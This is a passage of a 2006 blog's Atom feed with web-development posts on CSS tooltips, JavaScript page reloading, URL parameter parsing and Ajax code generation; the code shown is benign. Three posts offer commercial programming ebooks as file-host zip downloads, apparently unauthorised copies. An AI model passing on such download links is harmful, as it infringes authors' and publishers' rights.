href="http://technorati.com/tag/css"&gt;css&lt;/a&gt;, &lt;a href="http://technorati.com/tag/css+tool+tips"&gt;css tool tips&lt;/a&gt;, &lt;a href="http://technorati.com/tag/create+tooltips"&gt;create tooltips&lt;/a&gt;, &lt;a href="http://technorati.com/tag/span"&gt;span&lt;/a&gt;, &lt;a href="http://technorati.com/tag/tooltip+example"&gt;tooltip example&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115867932326188915?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115867932326188915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115867932326188915' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867932326188915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867932326188915'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/create-tool-tips-using-css-easily.html' title='Create Tool tips using CSS easily'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115867904399914774</id><published>2006-09-19T20:47:00.000+05:30</published><updated>2006-09-19T20:47:24.013+05:30</updated><title type='text'>Javascript location.reload simple example script</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;Many web pages on the internet are dynamically generated using PHP or some other scripting language. Dynamically generated pages can provide the website's visitors with up to the minute information that static pages cannot. There are some pages that visitors refresh often because of the data they contain. For example, pages with stock quotes, news, auctions, statistics, sports scores,&amp;nbsp;and bank accounts all have data that can be changed at any second. The Javascript &lt;strong&gt;location.reload&lt;/strong&gt; function gives your visitors an easier way to reload the page.  &lt;p align="left"&gt;There are a few different ways to implement the &lt;strong&gt;location.reload&lt;/strong&gt; function. You can provide a simple link that the user can click on to call the Javascript&amp;nbsp;function or you can use a timer that calls the &lt;strong&gt;location.reload&lt;/strong&gt; function at a specified interval.  &lt;p align="left"&gt;Here is an example of how to use Javascript's &lt;strong&gt;location.reload&lt;/strong&gt; in a link:  &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&amp;lt;a href="javascript:location.reload();"&amp;gt;Refresh the page&amp;lt;/a&amp;gt;&lt;/font&gt;&lt;/code&gt;  &lt;p align="left"&gt;The above HTML is pretty simple and easy to understand. When the user clicks the link the page will reload or we could&amp;nbsp;say, refresh. It basically does the same thing as the user's refresh button in their browser but they don't have to drag their mouse pointer all the way up to the refresh button, instead they just use your "Refresh the page" link.  &lt;p align="left"&gt;The other method of using &lt;strong&gt;location.reload&lt;/strong&gt; which involves a timer is a little more complex. You will need to place the following code in the &amp;lt;head&amp;gt; section of your webpage or in an external Javascript file.  &lt;p align="left"&gt;&lt;code&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&amp;lt;script type="text/javascript" language="javascript"&amp;gt; &lt;br&gt;var reloadTimer = null;&lt;br&gt;window.onload = function()&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setReloadTime(5); // In this example we'll use 5 seconds.&lt;br&gt;}&lt;br&gt;function setReloadTime(secs) &lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (arguments.length == 1) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (reloadTimer) clearTimeout(reloadTimer);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reloadTimer = setTimeout("setReloadTime()", Math.ceil(parseFloat(secs) * 1000));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location.reload();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;}&lt;br&gt;&amp;lt;/script&amp;gt;&lt;/font&gt;&lt;/code&gt; &lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;So when the page gets loaded, a timer is set for&amp;nbsp;five seconds in this example. After five seconds the &lt;strong&gt;location.reload&lt;/strong&gt; function is called and the page will reload. You can change the five to whatever you want to make the delay as long or as short as possible.  &lt;p align="left"&gt;&lt;a href="http://www.netlobo.com/javascript_location_reload.html" target="_blank" rel="javascript location.reload example script"&gt;Get more information&lt;/a&gt;  &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/location.reload"&gt;location.reload&lt;/a&gt;, &lt;a href="http://technorati.com/tag/dynamic"&gt;dynamic&lt;/a&gt;, &lt;a href="http://technorati.com/tag/php"&gt;php&lt;/a&gt;, &lt;a href="http://technorati.com/tag/reload+page"&gt;reload page&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+example"&gt;javascript example&lt;/a&gt;, &lt;a href="http://technorati.com/tag/script+example"&gt;script example&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115867904399914774?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115867904399914774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115867904399914774' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867904399914774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867904399914774'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/javascript-locationreload-simple_19.html' title='Javascript location.reload simple example script'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115867877044210006</id><published>2006-09-19T20:42:00.000+05:30</published><updated>2006-09-19T20:42:50.496+05:30</updated><title type='text'>A simple Javascript function to get URL parameters</title><content type='html'>&lt;p align="left"&gt;Most of the server-side programming languages that I know of like PHP, ASP, or JSP give you easy access to parameters in the query string of a URL. Javascript does not give you easy access. With javascript you must write your own function to parse the window.location.href value to get the query string parameters you want. Here is a small function I wrote that will parse the window.location.href&amp;nbsp;value and return the value for the parameter you specify. It does this using javascript's built in regular expressions. Here is the function: &lt;div align="left"&gt;&lt;pre&gt;&lt;font color="#ff8000"&gt;function gup( name )&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;var regexS = "[\\?&amp;amp;]"+name+"=([^&amp;amp;#]*)";&lt;br /&gt;&amp;nbsp;&amp;nbsp;var regex = new RegExp( regexS );&lt;br /&gt;&amp;nbsp;&amp;nbsp;var tmpURL = window.location.href;&lt;br /&gt;&amp;nbsp;&amp;nbsp;var results = regex.exec( tmpURL );&lt;br /&gt;&amp;nbsp;&amp;nbsp;if( results == null )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return results[1];&lt;br /&gt;}&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;The way that the function is used is fairly simple. Let's say you have the following URL:&lt;br /&gt;&lt;p align="left"&gt;&lt;a href="javascript:alert( 'This is just a fake URL' );"&gt;http://www.foo.com/index.html?bob=123&amp;amp;frank=321&amp;amp;tom=213#top&lt;/a&gt;&lt;br /&gt;&lt;p align="left"&gt;You want to get the value from the frank parameter so you call the javascript function as follows:&lt;br /&gt;&lt;p align="left"&gt;var frank_param = gup( 'frank' );&lt;br /&gt;&lt;p align="left"&gt;Now if you look at the frank_param variable it contains the number 321. The query string was parsed by the regular expression and the value of the frank parameter was retrieved. The function is smart in a couple of ways. For example, if you have an anchor in your URL like our example URL above does (#top) the gup() function knows to stop before the # character. Also, if a requested parameter doesn't exist in the query string then an empty string is returned instead of a null.&lt;br /&gt;&lt;p align="left"&gt;&lt;a href="http://www.netlobo.com/url_query_string_javascript.html" target="_blank" rel="get url parameters using javascript"&gt;Get more information&lt;/a&gt;&lt;br /&gt;&lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/url+parameters"&gt;url parameters&lt;/a&gt;, &lt;a href="http://technorati.com/tag/get+url+parameters"&gt;get url parameters&lt;/a&gt;, &lt;a href="http://technorati.com/tag/server+side"&gt;server side&lt;/a&gt;, &lt;a href="http://technorati.com/tag/window.location.href"&gt;window.location.href&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+function"&gt;javascript function&lt;/a&gt;&lt;br /&gt;&lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115867877044210006?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115867877044210006/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115867877044210006' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867877044210006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867877044210006'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/simple-javascript-function-to-get-url.html' title='A simple Javascript function to get URL parameters'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115867847195020217</id><published>2006-09-19T20:37:00.000+05:30</published><updated>2006-09-19T20:37:52.110+05:30</updated><title type='text'>Javascript location.reload simple example script</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;Many web pages on the internet are dynamically generated using PHP or some other scripting language. Dynamically generated pages can provide the website's visitors with up to the minute information that static pages cannot. There are some pages that visitors refresh often because of the data they contain. For example, pages with stock quotes, news, auctions, statistics, sports scores,&amp;nbsp;and bank accounts all have data that can be changed at any second. The Javascript &lt;strong&gt;location.reload&lt;/strong&gt; function gives your visitors an easier way to reload the page. &lt;p align="left"&gt;There are a few different ways to implement the &lt;strong&gt;location.reload&lt;/strong&gt; function. You can provide a simple link that the user can click on to call the Javascript&amp;nbsp;function or you can use a timer that calls the &lt;strong&gt;location.reload&lt;/strong&gt; function at a specified interval. &lt;p align="left"&gt;Here is an example of how to use Javascript's &lt;strong&gt;location.reload&lt;/strong&gt; in a link: &lt;p align="left"&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&amp;lt;a href="javascript:location.reload();"&amp;gt;Refresh the page&amp;lt;/a&amp;gt;&lt;/font&gt;&lt;/code&gt; &lt;p align="left"&gt;The above HTML is pretty simple and easy to understand. When the user clicks the link the page will reload or we could&amp;nbsp;say, refresh. It basically does the same thing as the user's refresh button in their browser but they don't have to drag their mouse pointer all the way up to the refresh button, instead they just use your "Refresh the page" link. &lt;p align="left"&gt;The other method of using &lt;strong&gt;location.reload&lt;/strong&gt; which involves a timer is a little more complex. You will need to place the following code in the &amp;lt;head&amp;gt; section of your webpage or in an external Javascript file. &lt;p align="left"&gt;&lt;code&gt;&lt;code&gt;&lt;font color="#ff8000"&gt;&amp;lt;script type="text/javascript" language="javascript"&amp;gt; &lt;br&gt;var reloadTimer = null;&lt;br&gt;window.onload = function()&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setReloadTime(5); // In this example we'll use 5 seconds.&lt;br&gt;}&lt;br&gt;function setReloadTime(secs) &lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (arguments.length == 1) {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (reloadTimer) clearTimeout(reloadTimer);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reloadTimer = setTimeout("setReloadTime()", Math.ceil(parseFloat(secs) * 1000));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;location.reload();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;}&lt;br&gt;&amp;lt;/script&amp;gt;&lt;/font&gt;&lt;/code&gt; &lt;/code&gt;&lt;/p&gt; &lt;p align="left"&gt;So when the page gets loaded, a timer is set for&amp;nbsp;five seconds in this example. After five seconds the &lt;strong&gt;location.reload&lt;/strong&gt; function is called and the page will reload. You can change the five to whatever you want to make the delay as long or as short as possible. &lt;p align="left"&gt;&lt;a href="http://www.netlobo.com/javascript_location_reload.html" target="_blank" rel="javascript location.reload example script"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/location.reload"&gt;location.reload&lt;/a&gt;, &lt;a href="http://technorati.com/tag/dynamic"&gt;dynamic&lt;/a&gt;, &lt;a href="http://technorati.com/tag/php"&gt;php&lt;/a&gt;, &lt;a href="http://technorati.com/tag/reload+page"&gt;reload page&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+example"&gt;javascript example&lt;/a&gt;, &lt;a href="http://technorati.com/tag/script+example"&gt;script example&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115867847195020217?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115867847195020217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115867847195020217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867847195020217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867847195020217'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/javascript-locationreload-simple.html' title='Javascript location.reload simple example script'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115867701017213762</id><published>2006-09-19T20:13:00.000+05:30</published><updated>2006-09-19T20:13:30.180+05:30</updated><title type='text'>Foundations of AJAX (Foundations) ebook</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;Ajax burst onto the Web development scene by offering highly interactive, desktop-like Web applications that can be deployed through any modern Web browser without the need for special plug-ins. Ajax is built on existing Web technologies such as JavaScript, HTML, and CSS, and it is used in conjunction with your favorite server-side language. Foundations of Ajax explains how to combine these technologies effectively to implement Ajax into your new or existing Web applications. Like you, we are developers who are "in the trenches," tasked with building Web-enabled applications that provide real value to our customers. As the Web continues to grow, the demand for more expressive and engaging interfaces will continue to increase.&lt;br&gt;Much of the early hype surrounding Ajax centered on its use by Internet powerhouses such as Google and Amazon. However, just because the initial forays into Ajax were pioneered by leading software development firms doesn't mean your application wouldn't also benefit from these techniques. You already know how to develop Web applications, so this book uses specific, focused examples to teach the Ajax tools and techniques you'll need to bring your applications to life. Armed with this book and your existing development expertise, you too will be able to apply Ajax techniques to your application to enrich the end user's experience.&lt;br&gt;When we first saw the potential of Ajax, we knew we had to start leveraging it for our own applications. Along the way we've learned some hard-earned knowledge that we thought needed to be shared with the rest of the development community. With this book you'll be able to easily extend your own applications with Ajax and have fun while doing it. We hope that someday we'll be reading about your great Ajax-enabled application! &lt;/p&gt; &lt;p align="left"&gt;&lt;img alt="ajax foundation foundation" src="http://images.amazon.com/images/P/1590595823.01.MZZZZZZZ.jpg"&gt;&amp;nbsp;&amp;nbsp; &lt;a href="http://rapidshare.de/files/10956885/1590595823.zip" target="_blank" rel="ajax foundation foundation"&gt;Download&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115867701017213762?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115867701017213762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115867701017213762' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867701017213762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867701017213762'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/foundations-of-ajax-foundations-ebook.html' title='Foundations of AJAX (Foundations) ebook'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115867688112981330</id><published>2006-09-19T20:11:00.000+05:30</published><updated>2006-09-19T20:11:21.416+05:30</updated><title type='text'>Ajax Professional Programmer to Programmer ebook</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;Written for experienced web developers, Professional Ajax shows how to combine tried-and-true CSS, XML, and JavaScript technologies into Ajax. This provides web developers with the ability to create more sophisticated and responsive user interfaces and break free from the "click-and-wait" standard that has dominated the web since its introduction.&lt;br&gt;Professional Ajax discusses the range of request brokers (including the hidden frame technique, iframes, and XMLHttp) and explains when one should be used over another. You will also learn different Ajax techniques and patterns for executing client-server communication on your web site and in web applications. By the end of the book, you will have gained the practical knowledge necessary to implement your own Ajax solutions. In addition to a full chapter case study showing how to combine the book's Ajax techniques into an AjaxMail application, Professional Ajax uses many other examples to build hands-on Ajax experience. Some of the other examples include: &lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;web site widgets for a news ticker, weather information, web search, and site search &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;preloading pages in online articles &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;incremental form validation &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;using Google Web APIs in Ajax &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;creating an autosuggest text box&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;&lt;br&gt;Professional Ajax readers should be familiar with CSS, XML, JavaScript, and HTML so you can jump right in with the book and begin learning Ajax patterns, XPath and XSLT support in browsers, syndication, web services, JSON, and the Ajax Frameworks, JPSpan, DWR, and Ajax.NET.&lt;/p&gt; &lt;p align="left"&gt;&lt;img alt="ajax professional programmer programmer" src="http://images.amazon.com/images/P/0471777781.01.MZZZZZZZ.jpg"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://rapidshare.de/files/16471069/SomethingAboutAjax.zip.html" target="_blank" rel="ajax professional programmer programmer"&gt;Download&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115867688112981330?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115867688112981330/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115867688112981330' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867688112981330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115867688112981330'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/ajax-professional-programmer-to.html' title='Ajax Professional Programmer to Programmer ebook'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115865970409216285</id><published>2006-09-19T15:25:00.000+05:30</published><updated>2006-09-19T15:25:04.096+05:30</updated><title type='text'>Java J2EE Job Interview Questions ebook</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;A Java/J2EE technical job interview guide for job seekers, promotion seekers, pro-active learners and interviewers. Learn the core concepts and issues relating to Java/J2EE in an easy to understand questions and answers approach . Covering over 220 interview questions and answers on: Java, J2EE, Applet, Servlets, JSP, EJB, JNDI, RMI, JDBC, LDAP, JMS, XML, RUP, UML, STRUTS, SQL, Design concepts &amp;amp; design patterns, JUnit, Ant, CVS, Development process, Emerging technologies/frameworks like AOP, IoC, Hibernate, Spring, JSF and more.  &lt;p align="left"&gt;&lt;a href="http://www.eazyupload.net/download/Y6iRolfH/1411668243.zip.htm" rel="java, j2ee, interview questions, ebook"&gt;Download&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115865970409216285?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115865970409216285/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115865970409216285' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115865970409216285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115865970409216285'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/java-j2ee-job-interview-questions.html' title='Java J2EE Job Interview Questions ebook'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115865883012905722</id><published>2006-09-19T15:10:00.000+05:30</published><updated>2006-09-19T15:10:30.156+05:30</updated><title type='text'>Automatically generate HTML and javascript from server side code</title><content type='html'>&lt;p align="left"&gt;&lt;/p&gt; &lt;p align="left"&gt;Automatically generate HTML and Javascript from server-side code. You write code in a standard server-side language like Java, or a custom language like that used in Backbase, and it's converted to HTML and Javascript. Depending on the framework, you might not need to code directly in HTML or Javascript at all. Since you're unlikely to create such a framework yourself, this pattern relies on a certain category of publicly availably &lt;a href="http://ajaxpatterns.org/Ajax_Frameworks"&gt;Ajax Framework&lt;/a&gt;.  &lt;p align="left"&gt;In the case of all code being autogenerated, the code is something like a conventional desktop application. Widgets and event-handler are defined, and the browser generates the appropriate HTML, along with &lt;a href="http://ajaxpatterns.org/wiki/index.php?title=XMLHttpRequest_Calls&amp;amp;action=edit"&gt;XMLHttpRequest Calls&lt;/a&gt; and general Javascript handling. As well, the framework will often generate &lt;a href="http://ajaxpatterns.org/Ajax_Stub"&gt;Ajax Stubs&lt;/a&gt; to deal with incoming calls and pass them to appropriate application code.  &lt;p align="left"&gt;In other frameworks, the approach is more mixed. The framework might let you create a &lt;a href="http://ajaxpatterns.org/Slider"&gt;Slider&lt;/a&gt; with just a single tag, for example. But in the tag, you'll specify a Javascript function to be called whenever the slider value changes.  &lt;p align="left"&gt;There are several arguments for &lt;strong&gt;Server-Side Code Generation&lt;/strong&gt;:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Developers don't have to know HTML and Javascript. One nasty thing about the web paradigm is that developers usually have to learn HTML, CSS, and Javascript on top of any server-side languages. Along with the raw language, each of these languages has its own conventions, patterns, and libraries to get familiar with. It's not surprising that few people master both sides. &lt;strong&gt;Server-Side Code Generation&lt;/strong&gt; allows developers to focus their attention only on the server-side language. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;The framework can, in theory, handle graceful degradation transparently. In other words, it can free the developer of worrying about browser portability, Javascript or cookies being turned off, or &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Calls&lt;/a&gt; timing out. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;The framework can, in theory, deliver multiple platforms simultaneously. A single code base can be used to generate a web application (Ajaxian or not), standalone desktop application, and maybe even a mobile application. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;However, code generation does comes at a cost to usability. Look at it this way: anything you could generate from the server, a skilled developer could also hand-code. The reverse is not true; given enough time and talent, it's always possible to build a custom solution that's superior in terms of usability. So, to be worthwhile, the framework must add enough value in terms of productivity and support for non-experts, to compensate for the drop in usability. Whether this can be achieved really depends on two things: how much users will gain from a custom-built application; and how much of a boost the framework will give you. On the second point, consider a few counter-arguments to the benefits above:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;The first point, about developer's not having to learn HTML and Javascript, has traditionally been the most compelling. Server-side developers have produced minimal &lt;b&gt;satisficing&lt;/b&gt;, rather than &lt;b&gt;optimal&lt;/b&gt;, interfaces, allowing them to focus on the server side. It's not uncommon to see advice against anything relatively complex being performed on the server-side. But as Ajax becomes more prominent, this argument becomes less compelling. As discussed in &lt;a href="http://ajaxpatterns.org/Fat_Client"&gt;Fat Client&lt;/a&gt;, Javascript is undergoing a renaissance - developers will learn about it, tools and libraries will evolve, patterns will emerge. All of this reduces the argument for isolating developers from HTML and Javascript. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;A server-side framework may well be able to handle graceful degradation and browser versions transparently. But to the extent that's possible, a browser script can also achieve the same effect, as discussed in &lt;a href="http://ajaxpatterns.org/Cross-Browser_Component"&gt;Cross-Browser Component&lt;/a&gt;. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;The dream of transforming a single code into a variety of different user-interface styles has been around for a while. Certainly, many modern UI toolkits are cross-platform, running on different operating systems from the same code base. However, can a single code base lead to both a web application and a desktop application? It's possible in theory and in proof-of-concept demos. But, in practice, users expect applications to follow the conventions of the platform and that's difficult to achieve with a single generation. It might, however, work if the framework allows for platform-specific tailoring. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Full-featured frameworks will likely be more prominent on intranet applications, where new functionality is often more critical than usability, and users can be trained to work around problems. Hand-coded HTML and Javascript is more likely for public dot-coms where alternatives are abundant and the pressure of competition means its critical to optimise the user-interface. In those environments, there is still some role for Server-Side Code Generation, but mainly as a helper for very specific tasks and with some flexibility, rather than as the overarching architectural style.  &lt;p align="left"&gt;&lt;a href="http://ajaxpatterns.org/Server-Side_Code_Generation" target="_blank" rel="ajax, ajax patterns, html, javascript, server side code"&gt;Get more information&lt;/a&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+patterns"&gt;ajax patterns&lt;/a&gt;, &lt;a href="http://technorati.com/tag/design"&gt;design&lt;/a&gt;, &lt;a href="http://technorati.com/tag/http"&gt;http&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/generate+html"&gt;generate html&lt;/a&gt;, &lt;a href="http://technorati.com/tag/server+side+code"&gt;server side code&lt;/a&gt;, &lt;a href="http://technorati.com/tag/developers"&gt;developers&lt;/a&gt;, &lt;a href="http://technorati.com/tag/java"&gt;java&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajaxian"&gt;ajaxian&lt;/a&gt;, &lt;a 